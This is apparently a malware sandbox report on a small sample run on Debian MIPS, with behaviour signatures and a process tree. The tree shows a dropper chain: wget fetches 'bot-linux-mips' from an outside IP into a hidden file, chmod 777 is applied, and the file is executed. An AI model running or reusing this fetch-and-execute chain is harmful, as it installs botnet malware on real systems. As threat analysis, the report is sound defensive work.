Analysis
- max time kernel
32s - max time network
26s - platform
debian-9_mips - resource
debian9-mipsbe-20260513-en - resource tags
- submitted
29/10/2026, 22:22
General
- Target de02c9eeae1c6e53e582de40a40cd9f1
- Size 577B
- Sample261029-2ajbqsttft
- SHA256 7e9b5454e72923f97e7ba34e5b5bba0a7eae2414382e62a17f52e647bf04944c
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- UPX packed file 1 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Enumerates kernel/hardware configuration 1 TTPs 1 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 1 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/de02c9eeae1c6e53e582de40a40cd9f1/tmp/de02c9eeae1c6e53e582de40a40cd9f11⤵
- Executes dropped EXE
-
/bin/unameuname -m2⤵
-
-
/bin/rmrm -f .nyx2⤵
-
-
/usr/bin/wgetwget http://85.215.73.250/bot-linux-mips -O .nyx2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 .nyx2⤵
- File and Directory Permissions Modification
-
-
/bin/rmrm -f .nyx2⤵
-
-
/tmp/.nyx./.nyx2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
.nyx